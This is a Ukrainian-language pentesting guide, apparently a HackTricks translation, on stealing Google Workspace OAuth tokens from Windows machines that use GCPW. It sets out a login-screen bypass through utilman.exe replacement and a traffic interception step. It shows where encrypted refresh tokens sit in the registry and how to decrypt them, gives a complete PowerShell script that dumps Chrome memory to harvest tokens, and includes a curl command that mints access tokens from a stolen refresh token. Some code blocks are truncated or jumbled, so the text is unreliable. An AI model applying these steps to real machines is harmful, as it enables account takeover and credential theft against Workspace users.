Це єдиний вхід, який надає Google Workspaces, щоб користувачі могли входити в свої ПК на Windows, використовуючи свої облікові дані Workspace. Більше того, це зберігатиме токени для доступу до Google Workspace в деяких місцях на ПК.
Зверніть увагу, що Winpeas здатний виявляти GCPW, отримувати інформацію про конфігурацію та навіть токени.
GCPW - MitM
Коли користувач отримує доступ до ПК на Windows, синхронізованого з Google Workspace через GCPW, йому потрібно буде заповнити звичайну форму входу. Ця форма входу поверне код OAuth, який ПК обміняє на токен оновлення в запиті, подібному до:
POST /oauth2/v4/token HTTP/2Host:www.googleapis.comContent-Length:311Content-Type:application/x-www-form-urlencoded[...headers...]scope=https://www.google.com/accounts/OAuthLogin&grant_type=authorization_code&client_id=77185425430.apps.googleusercontent.com&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f&device_type=chrome
New lines have been added to make it more readable.
Було можливим виконати MitM, встановивши Proxifier на ПК, перезаписавши бінарний файл utilman.exe на cmd.exe і запустивши функції доступності на сторінці входу в Windows, що виконає CMD, з якого ви можете запустити та налаштувати Proxifier.
Не забудьте блокувати QUICK UDP трафік у Proxifier, щоб він знизився до TCP зв'язку, і ви могли його бачити.
Також налаштуйте в "Служби та інші користувачі" обидві опції та встановіть сертифікат Burp CA в Windows.
Крім того, додавши ключі enable_verbose_logging = 1 та log_file_path = C:\Public\gcpw.log в HKLM:\SOFTWARE\Google\GCPW, можна зберігати деякі журнали.
GCPW - Відбиток
Можна перевірити, чи встановлено GCPW на пристрої, перевіривши, чи існує наступний процес або чи існують наступні ключі реєстру:
# Check process gcpw_extension.exeif (Get-Process-Name "gcpw_extension"-ErrorAction SilentlyContinue) {Write-Output"The process gcpw_xtension.exe is running."} else {Write-Output"The process gcpw_xtension.exe is not running."}# Check if HKLM\SOFTWARE\Google\GCPW\Users exists$gcpwHKLMPath ="HKLM:\SOFTWARE\Google\GCPW\Users"if (Test-Path $gcpwHKLMPath) {Write-Output"GCPW is installed: The key $gcpwHKLMPath exists."} else {Write-Output"GCPW is not installed: The key $gcpwHKLMPath does not exist."}# Check if HKCU\SOFTWARE\Google\Accounts exists$gcpwHKCUPath ="HKCU:\SOFTWARE\Google\Accounts"if (Test-Path $gcpwHKCUPath) {Write-Output"Google Accounts are present: The key $gcpwHKCUPath exists."} else {Write-Output"No Google Accounts found: The key $gcpwHKCUPath does not exist."}
В HKCU:\SOFTWARE\Google\Accounts можливо отримати доступ до електронної пошти користувача та зашифрованого refresh token, якщо користувач нещодавно увійшов в систему.
В HKLM:\SOFTWARE\Google\GCPW\Users можливо знайти domains, які дозволені для входу в ключі domains_allowed, а в підключах можливо знайти інформацію про користувача, таку як електронна пошта, зображення, ім'я користувача, терміни дії токенів, обробник токенів...
Обробник токенів - це токен, який починається з eth., з якого можна витягти деяку інформацію за допомогою запиту, наприклад:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response{"audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":12880152}
Також можливо знайти дескриптор токена доступу за допомогою запиту, як-от:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'access_token=<access token>'# Example response{"issued_to":"77185425430.apps.googleusercontent.com","audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":1327,"access_type":"offline","token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}
Наскільки мені відомо, неможливо отримати refresh token або access token з token handle.
Крім того, файл C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse є json, що містить інформацію про різні налаштування, такі як enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (якщо кілька користувачів з Workspace можуть увійти на комп'ютер) та validityPeriodDays (кількість днів, протягом яких користувачеві не потрібно повторно автентифікуватися безпосередньо з Google).
GCPW - Отримати Токени
GCPW - Оновлення Токенів Реєстру
У реєстрі HKCU:\SOFTWARE\Google\Accounts можливо знайти деякі облікові записи з refresh_token, зашифрованим всередині. Метод ProtectedData.Unprotect може легко його розшифрувати.
Отримати HKCU:\SOFTWARE\Google\Accounts дані та розшифрувати refresh_tokens
```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
</div>
Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=FEQxHRRP_5I), якщо ви не знайдете токен у реєстрі, можливо, потрібно змінити значення (або видалити) з **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** і наступного разу, коли користувач отримує доступ до комп'ютера, йому потрібно буде знову увійти, а **токен буде збережено в попередньому реєстрі**.
### GCPW - Токени оновлення диска
Файл **`%LocalAppData%\Google\Chrome\User Data\Local State`** зберігає ключ для розшифровки **`refresh_tokens`**, розташованих всередині **профілів Google Chrome** користувача, таких як:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Можна знайти деякий **C# код**, що отримує доступ до цих токенів у розшифрованому вигляді в [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Більше того, шифрування можна знайти в цьому коді: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
Можна спостерігати, що використовується AESGCM, зашифрований токен починається з **версії** (**`v10`** на цей момент), потім він [**має 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), а потім має **шифротекст** з фінальним **mac на 16B**.
### GCPW - Витяг токенів з пам'яті процесів
Наступний скрипт можна використовувати для **витягування** кожного **процесу Chrome**, використовуючи `procdump`, витягти **рядки** і потім **шукати** рядки, пов'язані з **токенами доступу та оновлення**. Якщо Chrome підключений до якогось сайту Google, деякі **процеси зберігатимуть токени оновлення та/або доступу в пам'яті!**
<details>
<summary>Витягти процеси Chrome та шукати токени</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
Я спробував те ж саме з gcpw_extension.exe, але він не знайшов жодного токена.
З якоїсь причини, деякі витягнуті токени доступу не будуть дійсними (хоча деякі будуть). Я спробував наступний скрипт, щоб видаляти символи по одному, щоб спробувати отримати дійсний токен з дампу. Це ніколи не допомагало мені знайти дійсний, але, можливо, це може:
Перевірити токен доступу, видаляючи символи по одному
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo "Token length: ${#access_token}" done
echo "Error: Token invalid or too short"
</details>
### GCPW - Генерація токенів доступу з токенів оновлення
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Scopes
Зверніть увагу, що навіть маючи refresh token, неможливо запитати жоден scope для access token, оскільки ви можете запитувати лише scopes, підтримувані додатком, в якому ви генеруєте access token.
Також refresh token не є дійсним в кожному додатку.
За замовчуванням GCPW не матиме доступу як користувач до кожного можливого OAuth scope, тому, використовуючи наступний скрипт, ми можемо знайти scopes, які можна використовувати з refresh_token для генерації access_token: